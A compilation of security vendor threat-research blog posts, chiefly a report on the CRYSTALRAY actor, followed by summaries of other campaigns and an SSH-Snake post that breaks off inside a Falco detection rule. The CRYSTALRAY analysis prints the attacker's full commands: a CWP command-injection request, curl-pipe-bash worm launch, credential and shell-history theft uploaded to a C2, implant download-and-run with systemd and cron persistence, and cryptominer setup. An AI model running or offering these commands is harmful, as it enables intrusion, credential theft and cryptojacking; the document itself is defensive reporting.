The team’s latest observations show that CRYSTALRAY’s operations have scaled 10x to over 1,500 victims and now include mass scanning, exploiting multiple vulnerabilities, and placing backdoors using multiple OSS security tools. 

CRYSTALRAY’s motivations are to collect and sell credentials, deploy cryptominers, and maintain persistence in victim environments. Some of the OSS tools the threat actor is leveraging include zmap, asn, httpx, nuclei, platypus, and SSH-Snake.

Released on 4 January 2024, SSH-Snake is a self-modifying worm that leverages SSH credentials discovered on a compromised system to start spreading itself throughout the network.

The worm automatically searches through known credential locations and shell history files to determine its next move.

By avoiding the easily detectable patterns associated with scripted attacks, the tool provides greater stealth, flexibility, configurability and more comprehensive credential discovery than typical SSH worms, therefore being more efficient and successful.

Technical Analysis

Reconnaissance processes and tools

CRYSTALRAY uses a lot of tools from the legitimate OSS organization, ProjectDiscovery. They include a package manager called pdtm to manage and maintain their open source tools which the attacker also uses. ProjectDiscovery has created a number of tools which we will see CRYSTALRAY abuse in their operations. 

ASN

Rather than massive internet-wide ipv4 scans or very specific IP targets, CRYSTALRAY creates a range of IPs for specific countries to launch scans with more precision than a botnet, but less precision than an APT or ransomware attack. The United States and China combined for over 54% of the known targets. 

The attacker takes advantage of the ASN tool. This script serves the purpose of having a quick OSINT command line tool at their disposal when investigating network data. It can be used as a recon tool by querying Shodan for data about any type of target (CIDR blocks/URLs/single IPs/hostnames). This will quickly give the user a complete breakdown of open ports, known vulnerabilities, known software and hardware running on the target, and more – all without ever sending a single packet to the target.

The attackers use it to generate IPv4/IPv6 CIDR blocks allocated to a given country by querying data from Marcel Bischoff’s country-ip-blocks repo. This (below) would be an example for Mexico:

$> asn -c .mx

The complete command to have a file ready for the automatization is as follows:

$> asn -j -c .mx | jq -r '.results[0].ipv4[]' > mx_cidr.txt

Zmap

Once the targeted IP range is defined, CRYSTALRAY uses zmap to scan specific ports for vulnerable services. zmap is a single packet network scanner designed for internet-wide network surveys that is faster and has fewer false positives than nmap. The attacker uses zmap version 4.1.0 RC1 specifically because it allows multi-port scanning to be more efficient. The following command is a simple example:

zmap -p <list-ports> -o zmap_results.csv -w cidr.txt 

To show the complexity and knowledge of the zmap scan by this attacker, this is an example of the many we discovered.

zmap -p 80,8090,7001,61616 --output-module=csv --output-fields=saddr,sport --output-filter='success=1 && repeat=0' --no-header-row -o port_80_8090_7001_61616.csv -w cn_cidr.txt -b /etc/zmap/blocklist.conf -B 500M

• -p 80,8090,7001,61616 → default ports for webservers, weblogic, and activemq.
• –output-module=csv
• –output-fields=saddr,sport
• –output-filter=’success=1 && repeat=0′
• –no-header-row → help automatization
•  -o port_80_8090_7001_61616.csv
• -w cn_cidr.txt  → source range IPs
• -b /etc/zmap/blocklist.conf 
• -B 500M → bandwidth

We observed the attacker trying to discover many different services during their zmap scans:

• Activemq
• Confluence
• Metabase
• Weblogic
• Solr
• Openfire
• Rocketmq
• Laravel

Httpx

Once the attacker have the zmap results, they use httpx, a fast and multi-purpose HTTP toolkit that allows running multiple probes using the retryable http library. The httpx toolkit is designed to maintain result reliability with an increased number of threads. Basically, the tool can be used to verify if a domain is either live or a false positive before checking for known vulnerabilities.

cat zmap_results.csv | sed 's/,/:/g' | sort -u | httpx -t 10000 -rl 1000000 -o httpx_output.txt -stream

Nuclei

With these filtered results, the attackers perform a vulnerability scan using nuclei, a tool commonly used by many attackers. Nuclei is an open source vulnerability scanner that can operate at scale. With powerful and flexible templating, nuclei can be used to model all kinds of security checks.

Below is an example of the command used:

cat httpx_output.txt | grep 8090 | nuclei -tags confluence -s critical -bs 1000 -o confluence_rce.txt -stats -stream -c 1 -rl 1000  

Nuclei outputs which CVEs the target host is affected by. With these results, the attacker has a reliable list that can be used to proceed towards the exploitation phase of the attack. 

Observed CVEs used by this attacker:

• CVE-2022-44877
• CVE-2021-3129
• CVE-2019-18394

Based on their exploitation patterns, CRYSTALRAY likely also took advantage of newer vulnerability tests for Confluence available in nuclei. 

In some cases, they used nuclei tags argument to detect possible honeypots on ports where they scanned, to avoid launching their tools on those targets in order to remain undetected. An example of these honeypot detectors is this project, it is not clear if this one in particular was used.

cat 8098_http*.txt | grep 443 | sort -u | shuf | nuclei -tags honeypot -bs 1000 -c 1 -rl 100000 -o hpots.txt -stats -stream

The screenshot below shows the refinement from where CRYSTALRAY started with their enumeration using zmap, then filtering with httpx, and finally down to a much smaller list using nuclei.

In total, CRYSTALRAY managed to target more than 1,800 IPs during our research and, based on the data collected, this number may continue to grow. Below is the percentage of IPs per region affected by this campaign.

Initial Access

To gain access to its targets, CRYSTALRAY prefers to leverage existing vulnerability proof of concepts which they modify for their payload. Using the previously gathered list of targets, they perform checks to verify that those potential victims are vulnerable to the exploit they plan to use. The following commands are an example of how CRYSTALRAY conducts this process:

# Services vulnerable on port 2031

cat port_2031_httpx.txt | nuclei -s critical -tags centos -bs 500 -c 2 -rl 100000 -o 2031_nuclei.txt -stats -si 20 -stream

# Generate simple code to test the vulnerability

echo "curl ip.me" | base64

curl -X POST "https://<victim-IP>:2031/login/index.php?login=$(echo${IFS}Y3VybCBpcC5tZQo=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)" -H "Host: <victim-IP>:2031" -H "Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82" -H "Content-Length: 40" -H "Origin: <victim-IP>:2031" -H "Content-Type: application/x-www-form-urlencoded" -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" -H "Referer: <victim-IP>:2031/login/index.php?login=failed" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en" -H "Connection: close" --data-urlencode "username=root" --data-urlencode "password=toor" --data-urlencode "commit=Login" -k Y3VybCBpcC5tZQo=

# Get the exploit from GitHub and run it to the victim

git clone https://github.com/Chocapikk/CVE-2022-44877

cd CVE-2022-44877

chmod +x script.sh

./script.sh scan <victim-IP>:2031

# Modified the script and upload to their automatization system.

nano script.sh

At the very end, CRYSTALRAY edits the downloaded exploit in order to add the malicious payload, which is often a Platypus or Sliver client. This process is very similar to the other exploits they leverage, all taking advantage of OSS tools and proof of concepts.  

Lateral Movement

To impact as many resources as possible, attacks commonly conduct lateral movement once they achieve remote code execution (RCE). In this section, we will detail the tools and tactics CRYSTALRAY has successfully used to move laterally through victims’ environments.

SSH-SNAKE

TRT has already reported on CRYSTALRAY’s use of the OSS penetration testing tool SSH-SNAKE (two months after its release). SSH-SNAKE is a worm that uses ssh keys and credentials it discovers to propagate to new systems and repeat its processes. All the while, SSH-Snake sends captured keys and bash histories back to its C2 server. 

CRYSTALRAY ran the following command to send the results from victims to their C2:

if command -v curl >/dev/null 2>&1; then curl --max-time 100 https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh | bash > /tmp/ssh.txt; id=$(curl -4 ip.me); curl --max-time 100 --user '<creds>' --upload-file "/tmp/ssh.txt" "<c2_server>/${id}_ssh.txt"; rm -f /tmp/ssh.txt; fi

The image below is an example of SSH keys identified in the output of the SSH-Snake tool:

Collection / Credential Access

Environment Credentials

Attackers don’t just want to move between servers accessible via SSH. TRT discovered that CRYSTALRAY tried to move to other platforms, such as cloud providers. Attackers are looking for credentials in environment variables, as TRT also reported in SCARLETEEL, to exponentially grow their impact. This credential discovery process is automatically performed on all devices to which the attacker gains access. The following commands are the way that attackers are getting the credentials and uploading them:

tmp=$(find / -type f -name "*.env" -o -name "*.env.bak" -o -name "*config.env" -o -name "*.env.dist" -o -name "*.env.dev" -o -name "*.env.local" -o -name "*.env.backup" -o -name "*.environment" -o -name "*.envrc" -o -name "*.envs" -o -name "*.env~" | grep -v 'Permission denied' > tmp.txt; sed 's/^/cat /;' tmp.txt > cmd.sh; chmod +x cmd.sh; > /dev/null)

exe=$(bash cmd.sh > <env_variables>.txt)

path=$(find / -type f -name env_variables.txt | grep -v 'Permission denied')

id=$(curl -4 ip.me)

curl --upload-file $path <C2_server>/${id}_env_variables.txt

rm -f cmd.sh env_variables.txt tmp.txt

The attackers use them in the future or sell them on black markets, such as telegram, where bulks of found credentials are sold.

History Files

Bash command histories provide valuable information, but their extraction is not common among attackers because it is hard to process automatically. CRYSTALRAY uses two repositories to speed up this discovery of sensitive information hosted on the system. These are:

• all-bash-history
• linux-smart-enumeration

In this case, we know that it was extracted and stored on CRYSTALRAY’s servers, likely to analyze or search for more credentials or tokens that may arise from the data collected.

if command -v curl >/dev/null 2>&1; then

    tmpfile=$(mktemp -p /tmp); find / -name .bash_history -exec cat {} + 2>/dev/null > "$tmpfile" ; if [ -s "$tmpfile" ]; then id=$(curl -4 ip.me); curl --user '<creds>' --upload-file "$tmpfile" "<c2_server>/${id}_bash_history.txt"; fi; rm -f "$tmpfile"

fi

In the data previously during the original SSH-SNAKE investigation, we found 100 command histories. This number has expanded to more than 300 at the time of this report. 

Command and Control / Persistence 

Maintaining access to compromised systems is often a priority for attackers. This is a common practice that TRT has reported on twice before:

• RUBYCARP is a recent case where it used IRC servers for both internal and botnet communications. It was focused on phishing campaigns and brute force attacks.
• Rebirthltd was based on a modified Mirai binary. It attacked gaming servers and used telegram as a base of operations and to sell its services.

Sliver

Spotted within their injection scripts, TRT discovered a script built to execute a strange payload. During analysis, researchers found that this binary is a payload generated with Sliver. Sliver is an open source cross-platform adversary emulation/red team framework that can be used by organizations of all sizes to perform security testing. Sliver’s implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS, and are dynamically compiled with per-binary asymmetric encryption keys.

echo "hostctl"

if [ ! -f /tmp/hostctld ]; then

    download_file "<c2_server>/hostctld" "/tmp/hostctld"

    sleep 1

    chmod +x /tmp/hostctld

    nohup /tmp/hostctld >/dev/null 2>&1 &

fi

if ! pgrep -f /tmp/hostctld > /dev/null; then

    nohup /tmp/hostctld >/dev/null 2>&1 &

fi

if [ "$(id -u)" -eq 0 ]; then

    if command -v systemctl &>/dev/null; then

        systemctl stop ext4; systemctl disable ext4; systemctl stop sshb; systemctl disable sshb

        echo "User is root and systemctl is installed."

        curl -v --user "<creds>" <c2_server>/hostctld --output /usr/bin/hostctld && chmod +x /usr/bin/hostctld && chattr +i /usr/bin/hostctld

        echo -e "[Unit]\nDescription=Host Control Daemon\n\n[Service]\nExecStart=/usr/bin/hostctld\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/hostctld.service

CRYSTALRAY runs the binary to maintain access to the system and connect to a specific port on the C2 server. Basically, it logs victims when they successfully exploit.

The actor also hosted two other payloads that have the same purpose – db.exe, similar to the previous one, and linux_agent, created with the pentester tool emp3ror, a post-exploitation framework for Linux/Windows – but TRT has not discovered if they have been used. All the IoCs are reported here.

Platypus

Researchers discovered the dashboard CRYSTALRAY used to manage their victims based on an open source tool called Platypus, a modern multiple reverse shell sessions/clients web-based manager written in go. The installation is quite simple. Below is an example running the binary of the latest version. In the following image, we can see the output:

Platypus was previously reported in a cyptomining operation. TRT found more Platypus dashboards using Shodan and Censys Internet mapping services. By querying the default dashboard port, 7331, and ports 13338 and 13339, which are used to manage reverse shell connections, researchers were able to locate more instances of Platypus. Default ports can be changed, so there are likely more out there.

CRYSTALRAY ran Platypus on their server. Their dashboard has reset several times because it is an active campaign and the number of victims varies from 100 to 400 based on uptime. This is a screenshot of the dashboard:

CRYSTALRAY’s victims are added to the C2 using the following commands (below). It is also interesting to see how they look for a directory that they have write permission for.

writable_dir=$(find / -type d \( -writable -a ! -path "/tmp" -a ! -path "/tmp/*" \) -print -quit 2>/dev/null)

cd $writable_dir && curl -fsSL http://<c2_server>:13339/termite/<c2_server>:19951 -o wt && chmod +x wt && nohup ./wt >/dev/null 2>&1 &

writable_dir_2=$(find /var -type d \( -writable -a ! -path "/tmp" -a ! -path "/tmp/*" \) -print -quit 2>/dev/null)

cd $writable_dir_2 && wget -q http://<c2_server>/termite/<c2_server>:44521 -O .sys && chmod +x .sys && nohup ./.sys >/dev/null 2>&1 &

writable_dir_3=$(find /home -type d \( -writable -a ! -path "/tmp" -a ! -path "/tmp/*" \) -print -quit 2>/dev/null)

cd $writable_dir_3 && wget -q http://<c2_server>:13339/termite/<c2_server>:13337 -O netd && chmod +x netd && nohup ./netd >/dev/null 2>&1 &

Impact of CRYSTALRAY

Selling Credentials

As mentioned before, CRYSTALRAY is able to discover and extract credentials from vulnerable systems, which are then sold on black markets for thousands of dollars. The credentials being sold involve a multitude of services, including Cloud Service Providers and SaaS email providers.  

The raw data stolen from compromised hosts is stored in files on the attacker’s C2 server. Below is an example of a list of files. The filename starts with the IP address of the victim. 

As TRT found through CRYSTALRAY’s cryptomining activities, the attackers use an email address: contact4restore@airmail[.]cc. Using contact4restore, researchers searched for other related accounts and found contact4restore@proton[.]me. 

Cryptomining

As is typical in cloud attacks, once the attackers have access, they try to use victim resources for financial gain. CRYSTALRAY has two associated cryptominers. One looks older and does not hide much and the other is more sophisticated, with the pool to which it was connecting hosted on the same C2 server.

The old script contains the following content to add the script to the crontab and download and run the miner. 

crontab -r

(crontab -l 2>/dev/null; echo "* * * * * curl -v --user 'qwerty:abc123' <c2_server>/lr/rotate --output /tmp/rotate && sh /tmp/rotate && rm -f /tmp/rotate") | crontab -

curl -v --user '<creds>' <c2_server>/lr/lr_linux --output /tmp/logrotate && chmod +x /tmp/logrotate

    /tmp/logrotate -o 51.222.12.201:10900 -u ZEPHYR3LgJXAXUmG23rRkN8LAALmt78re3a8PhWnnw5x8EZ5oEStbUuAWvyHnVUWL6EgURTv3MJeaXvn8HAfRQRNGhc89mAy8Ew3J.mx/contact4restore@airmail.cc -p x -a "rx/0" --no-huge-pages --background

The found wallet is connected to nanopool and some of the workers who match the scripts are connected. Approximately, they are mining around $200/month.

In a new script used in attacks over the course of April and May, CRYSTALRAY used a handcrafted config file with the pools hosted in the same server used to store the results or host the command and control. In this case, TRT was unable to check balances or wallets associated with their operations.

cat > /usr/bin/config.json <<EOF

{

    "autosave": true,

    "cpu": {

        "enabled": true,

        "huge-pages": true,

        "yield": true,

        "max-threads-hint": 100

    },

    "opencl": false,

    "cuda": false,

    "randomx": {

        "init": -1,

        "init-avx2": -1,

        "mode": "auto",

        "1gb-pages": true,

        "rdmsr": true,

        "wrmsr": true,

        "cache_qos": false,

        "numa": true,

        "scratchpad_prefetch_mode": 1

    },

    "pools": [

        {

            "url": "<c2_server>:3333"

        },

        {

            "url": "<c2_server>:3333"

        }

    ]

}

EOF

if ! pgrep -x "logrotate" > /dev/null

then

    # The process is not running, execute your commands here

    echo "logrotate is not running. Executing commands..."

    # Replace the following line with the commands you want to execute

    curl -v --user '<creds>' <c2_server>/lr/lr_linux --output /tmp/logrotate && chmod +x /tmp/logrotate

    /tmp/logrotate -o <c2_server>:3333 --background --cpu-no-yield

curl -v --user '<creds>' <c2_server>/lr_linux --output /usr/bin/log_rotate && chmod +x /usr/bin/log_rotate && chattr +i /usr/bin/log_rotate

        echo -e "[Unit]\nDescription=Host Control Daemon\n\n[Service]\nExecStart=/usr/bin/log_rotate\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/log_rotate.service

Kill Competitor Processes

CRYSTALRAY also has a script to remove other cryptominers that victims may already have running. This is a common tactic used by attackers to make sure they have sole use of all of the victims’ resources. Since many attackers are covering the same attack surfaces, they may likely come across previously compromised systems. 

Recommendations

CRYSTALRAY’s operations prove how easily an attacker can maintain and control access to victim networks using only open source and penetration testing tools. Therefore, implementing detection and prevention measures to withstand attacker persistence is necessary. 

The first step to avoid the vast majority of these automated attacks is to reduce the attack surface through vulnerability, identity, and secrets management. CRYSTALRAY is only one instance, but TRT is seeing automated cloud attacks more often.

If it is necessary to expose your applications to the Internet, they may be vulnerable at some point. Therefore, organizations must prioritize vulnerability remediation to reduce the risk of their exposure.

Finally, it is necessary to have cameras/runtime detection that enables you to know — at any moment — if you have been successfully attacked, to take remedial action, and to perform a more thorough forensic analysis and solve the root cause.

Conclusion

CRYSTALRAY is a new threat actor who prefers to use multiple OSS tools to perform widespread vulnerability scanning and exploitation. Once they gain access, they install one of several backdoors to keep control of the target. SSH-snake is then used to spread throughout a victim’s network and collect credentials to sell. Cryptominers are also deployed to gain further monetary value from the compromised assets. 

IoCs

The post CRYSTALRAY: Inside the Operations of a Rising Threat Actor Exploiting OSS Tools appeared first on Sysdig.

A group of some of the industry’s most elite threat researchers, the Sysdig TRT discovers and educates on the latest cloud-native security threats, vulnerabilities, and attack patterns.

We are fiercely passionate about security and committed to the cause. Stay up to date here on the latest insights, trends to monitor, and crucial best practices for securing your cloud-native environments. Or come meet us at RSA; we’ll be at booth S-742.

Below we will detail the latest research that has been carried out and how we have improved the security ecosystem.

SSH-SNAKE

SSH-Snake  is a self-modifying worm that leverages SSH credentials discovered on a compromised system to start spreading itself throughout the network. The worm automatically searches through known credential locations and shell history files to determine its next move. SSH-Snake is actively being used by threat actors in offensive operations. 

Sysdig TRT uncovered the command and control (C2) server of threat actors deploying SSH-Snake. This server holds a repository of files containing the output of SSH-Snake for each of the targets they have gained access to. 

Filenames found on the C2 server contain IP addresses of victims, which allowed us to make a high confidence assessment that these threat actors are actively exploiting known Confluence vulnerabilities in order to gain initial access and deploy SSH-Snake. This does not preclude other exploits from being used, but many of the victims are running Confluence.  

Output of SSH-Snake contains the credentials found, the IPs of the targets, and the bash history of the victims. We are witnessing the victim list growing, which means that this is an ongoing operation. At the time of writing, the number of victims is approximately 300.

RUBYCARP

Sysdig TRT discovered a long-running botnet operated by a Romanian threat actor group, which we are calling RUBYCARP. Evidence suggests that this threat actor has been active for at least 10 years. Its primary method of operation leverages a botnet deployed using a variety of public exploits and brute force attacks. This group communicates via public and private IRC networks, develops cyber weapons and targeting data, and uses its botnet for financial gain via cryptomining and phishing. This report explores how RUBYCARP operates and its motivations.

RUBYCARP, like many threat actors, is interested in payloads that enable financial gain. This includes cryptomining, DDoS, and Phishing. We have seen it deploy a number of different tools to monetize its compromised assets. For example, through its Phishing operations, RUBYCARP has been seen targeting credit cards.

SCARLETEEL

SCARLETEEL, a complex operation discovered in 2023, continues to thrive. Cloud environments are still their primary target, but the tools and techniques used have adapted to bypass new security measures, along with a more resilient and stealthy command and control architecture. AWS Fargate, a more sophisticated environment to breach, has also become a target as their new attack tools allow them to operate within that environment.

The attack graph discovered by this group is the following: 

Compromise AWS accounts through exploiting vulnerable compute services, gain persistence, and attempt to make money using cryptominers. Had we not thwarted their attack, our conservative estimate is that their mining would have cost over $4,000 per day until stopped.

We know that they are not only after cryptomining, but stealing intellectual property as well. In their recent attack, the actor discovered and exploited a customer mistake in an AWS policy which allowed them to escalate privileges to AdministratorAccess and gain control over the account, enabling them to then do with it what they wanted. We also watched them target Kubernetes in order to significantly scale their attack.

AMBERSQUID

Keeping with the cloud threats, The Sysdig TRT has uncovered a novel cloud-native cryptojacking operation which they’ve named AMBERSQUID. This operation leverages AWS services not commonly used by attackers, such as AWS Amplify, AWS Fargate, and Amazon SageMaker. The uncommon nature of these services means that they are often overlooked from a security perspective, and the AMBERSQUID operation can cost victims more than $10,000/day.

The AMBERSQUID operation was able to exploit cloud services without triggering the AWS requirement for approval of more resources, as would be the case if they only spammed EC2 instances. Targeting multiple services also poses additional challenges, like incident response, since it requires finding and killing all miners in each exploited service.

We discovered AMBERSQUID by performing an analysis of over 1.7M Linux images in order to understand what kind of malicious payloads are hiding in the containers images on Docker Hub.

This dangerous container image didn’t raise any alarms during static scanning for known indicators or malicious binaries. It was only when the container was run that its cross-service cryptojacking activities became obvious. This is consistent with the findings of our 2023 Cloud Threat Report, in which we noted that 10% of malicious images are missed by static scanning alone.

MESON NETWORK

Sysdig TRT discovered a malicious campaign using the blockchain-based Meson service to reap rewards ahead of the crypto token unlock happening around March 15th 2024. Within minutes, the attacker attempted to create 6,000 Meson Network nodes using a compromised cloud account. The Meson Network is a decentralized content delivery network (CDN) that operates in Web3 by establishing a streamlined bandwidth marketplace through a blockchain protocol.

Within minutes, the attacker was able to spawn almost 6,000 instances inside the compromised account across multiple regions and execute the meson_cdn binary. This comes at a huge cost for the account owner. As a result of the attack, we estimate a cost of more than $2,000 per day for all the Meson network nodes created, even just using micro sizes. This isn’t counting the potential costs for public IP addresses which could run as much as $22,000 a month for 6,000 nodes! Estimating the reward tokens amount and value the attacker could earn is difficult since those Meson tokens haven’t had values set yet in the public market.

In the same way as in the case of Ambersquid, the image looks legitimate and safe from a static point of view, which involves analyzing its layers and vulnerabilities. However, during runtime execution, we monitored outbound network traffic and we spotted gaganode being executed and performing connections to malicious IPs.

LABRAT

The LABRAT operation set itself apart from others due to the attacker’s emphasis on stealth and defense evasion in their attacks. It is common to see attackers utilize scripts as their malware because they are simpler to create. However, this attacker chose to use undetected compiled binaries, written in Go and .NET, which allowed the attacker to hide more effectively.

The attacker utilized undetected signature-based tools, sophisticated and stealthy cross-platform malware, command and control (C2) tools which bypassed firewalls, and kernel-based rootkits to hide their presence. To generate income, the attacker deployed both cryptomining and Russian-affiliated proxyjacking scripts. Furthermore, the attacker abused a legitimate service, TryCloudFlare, to obfuscate their C2 network.

One obvious goal for this attacker was to generate income using proxyjacking and cryptomining. Proxyjacking allows the attacker to “rent” the compromised system out to a proxy network, basically selling the compromised IP Address. There is a definite cost in bandwidth, but also a potential cost in reputation if the compromised system is used in an attack or other illicit activities. Cryptomining can also incur significant financial damages if not stopped quickly. Income may not be the only goal of the LABRAT operation, as the malware also provided backdoor access to the compromised systems. This kind of access could lend itself to other attacks, such as data theft, leaks, or ransomware.

Detecting attacks that employ several layers of defense evasion, such as this one, can be challenging and requires a deep level of runtime visibility.

CVEs

The only purpose of STRT is not to hunt for new malicious actors, it is also to react quickly to new vulnerabilities that appear and to update the product with new rules for their detection in runtime. The last two examples are shown below.

CVE-2024-3094

On March 29th, 2024, a backdoor in a popular package called XZ Utils was announced on the Openwall mailing list. This utility includes a library called liblzma which is used by SSHD, a critical part of the Internet infrastructure used for remote access. When loaded, the CVE-2024-3094 affects the authentication of SSHD potentially allowing intruders access regardless of the method.

• Affected versions: 5.6.0, 5.6.1
• Affected Distributions: Fedora 41, Fedora Rawhide

For Sysdig Secure users, this rule is called “Backdoored library loaded into SSHD (CVE-2024-3094)” and can be found in the Sysdig Runtime Threat Detection policy.

- rule: Backdoored library loaded into SSHD (CVE-2024-3094)

  desc: A version of the liblzma library was seen loading which was backdoored by a malicious user in order to bypass SSHD authentication.

  condition: open_read and proc.name=sshd and (fd.name endswith "liblzma.so.5.6.0" or fd.name endswith "liblzma.so.5.6.1")

  output: SSHD Loaded a vulnerable library (| file=%fd.name | proc.pname=%proc.pname gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] image=%container.image.repository | proc.cmdline=%proc.cmdline | container.name=%container.name | proc.cwd=%proc.cwd proc.pcmdline=%proc.pcmdline user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname image=%container.image.repository | container.id=%container.id | container_name=%container.name|  proc.cwd=%proc.cwd )

  priority: WARNING

 tags: [host,container]

Leaky Vessels

On January 31st 2024, Snyk announced the discovery of four vulnerabilities in Kubernetes and Docker. 

• CVE-2024-21626: CVSS – High, 8.6
• CVE-2024-23651: CVSS – High, 8.7
• CVE-2024-23652: CVSS – Critical, 10
• CVE-2024-23653: CVSS – Critical, 9.8

For Kubernetes, the vulnerabilities are specific to the runc CRI. Successful exploitation allows an attacker to escape the container and gain access to the host operating system. To exploit these vulnerabilities, an attacker will need to control the Dockerfile when the containers are built.

The following Falco rule will detect the affected container runtimes trying to change the directory to a proc file descriptor, which isn’t normal activity.  This rule should be considered experimental and can be used in OSS Falco and Sysdig Secure as a custom rule.

- rule: Suspicious Chdir Event Detected

  desc: Detects a process changing a directory using a proc-based file descriptor.  

  condition: >

    evt.type=chdir and evt.dir=< and evt.rawres=0 and evt.arg.path startswith "/proc/self/fd/" 

  output: >

    Suspicious Chdir event detected, executed by process %proc.name with cmdline %proc.cmdline under user %user.name (details=%evt.args proc.cmdline=%proc.cmdline evt.type=%evt.type evt.res=%evt.res fd=%evt.arg.fd nstype=%evt.arg.nstype proc.pid=%proc.pid proc.cwd=%proc.cwd proc.pname=%proc.pname proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)

  priority: WARNING

  tags: [host, container]

MEET SYSDIG TRT AT RSAC 2024

Sysdig Threat Research Team (TRT) members will be onsite at booth S-742 at RSA Conference 2024, May 6 – 9 in San Francisco, to share insights from their findings and analysis of some of the hottest and most important cybersecurity topics this year.

Reserve a time to connect with the Sysdig TRT team at the show!

The post Meet the Research behind our Threat Research Team appeared first on Sysdig.

SSH-Snake activity can be identified by a runtime threat detection tool, such as Sysdig Secure or Open Source Falco.  At the end of this post are several Falco rules which can be used to detect this threat.

Traditional SSH Worms

One of the most commonly seen tactics after an attacker gains access to a system is the discovery of other targets and an attempt to reach them, known as lateral movement. 

In previous research, we identified a worm that looked for SSH credentials hosted on the system that could be used to connect to another system and the process repeated. The image below is an example of what was used within the LABRAT dropper.

SSH-Snake takes this lateral movement concept to another level by being more thorough in its discovery of private keys. By avoiding the easily detectable patterns associated with scripted attacks, this new tool provides greater stealth, flexibility, configurability and more comprehensive credential discovery than typical SSH worms, therefore being more efficient and successful.

SSH-Snake

From the README:

“🐍 SSH-Snake is a powerful tool designed to perform automatic network traversal using SSH private keys discovered on systems, with the objective of creating a comprehensive map of a network and its dependencies, identifying to what extent a network can be compromised using SSH and SSH private keys starting from a particular system.”

SSH-Snake is a bash shell script which autonomously searches the system it is run on for SSH credentials. Once credentials are found, the script attempts to log into the target system and then copies itself there in order to repeat the process. The results of the worm’s activity are available to the attacker who can use them later in order to continue their operations.

Self-Modifying and Fileless

A unique aspect of SSH-Snake is that it modifies itself when it is first run in order to make itself smaller. All comments, whitespace, and unnecessary functions are removed. This is done out of necessity due to the way the shell script passes arguments and allows it to remain fileless. Compared to previous SSH worms, its initial form is much larger due to the expanded functionality and reliability.

The script is essentially plug-and-play, but easily customizable to your use case. You can disable and enable different parts of it, including the different strategies used to discover private keys and the destinations those private keys may be used to connect to. Unlike traditional scripts, SSH-Snake is designed to work on any device. It’s completely self-replicating and self-propagating — and completely fileless.

Collection

SSH-Snake searches for multiple types of private keys located on the target system using a variety of methods. Below is a snippet of code showing where SSH-Snake looks for keys. As you can see, it looks at sources of information, including last and arp to gather target data. 

One of the most interesting features is find_from_bash_history, where commands of ssh, scp, and rsync are searched for and parsed. These entries contain a wealth of knowledge in relation to private key locations, credentials, and targets. For a full explanation of how SSH-Snake works, the author wrote an article where he explains it in depth.

Operational Use

Sysdig TRT uncovered the command and control (C2) server of threat actors deploying SSH-Snake. This server holds a repository of files containing the output of SSH-Snake for each of the targets they have gained access to. 

Filenames found on the C2 server contain IP addresses of victims, which allowed us to make a high confidence assessment that these threat actors are actively exploiting known Confluence vulnerabilities in order to gain initial access and deploy SSH-Snake. This does not preclude other exploits from being used, but many of the victims are running Confluence.  

Output of SSH-Snake contains the credentials found, the IPs of the targets, and the bash history of the victims. We are witnessing the victim list growing, which means that this is an ongoing operation. At the time of writing, the number of victims is approximately 100.

Detecting SSH-Snake with Falco

Falco, an incubating project under the CNCF, provides real-time detection alerts of unusual activities in cloud-native environments. Users have the option to implement the default Falco rules within Falco or create their own custom rules using its straightforward and adaptable language.

Falco can be used to detect the use of SSH-Snake in the runtime using default rules that can detect the use of SSH-Snake in runtime, but you can also modify or craft new ones if you want to improve the detection. The default Falco Rules that trigger when SSH-Snake is run on the tool would be:

- rule: Disallowed SSH connection
  desc: Detect any new SSH connection on port 22 to a host other than those in an allowed list of hosts.  This rule absolutely requires profiling your environment beforehand.
  Condition: >
inbound_outbound  
and ssh_port  
and not allowed_ssh_hosts
Output: Disallowed SSH Connection (connection=%fd.name lport=%fd.lport rport=%fd.rport fd_type=%fd.type fd_proto=fd.l4proto evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority: NOTICE

Availability: Falco OSS, Sysdig Rule Library

- rule: Read sensitive file trusted after startup
  condition: > 
    open_read 
    and sensitive_files 
    and server_procs 
    and not proc_is_new 
    and proc.name!="sshd" 
    and not user_known_read_sensitive_files_activities
  output: Sensitive file opened for reading by trusted program after startup (file=%fd.name pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
  priority: WARNING

Availability: Falco OSS, Sysdig Runtime Notable Events (Sysdig Secure Policy)

- rule: System user interactive
  condition: > 
    spawned_process 
    and system_users 
    and interactive 
    and not user_known_system_user_login
  output: System user ran an interactive command (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: INFO

Availability: Falco OSS, Sysdig Runtime Notable Events (Sysdig Secure Policy)

- rule: Search Private Keys or Passwords
  condition: >
    (spawned_process and
    ((grep_commands and private_key_or_password) or
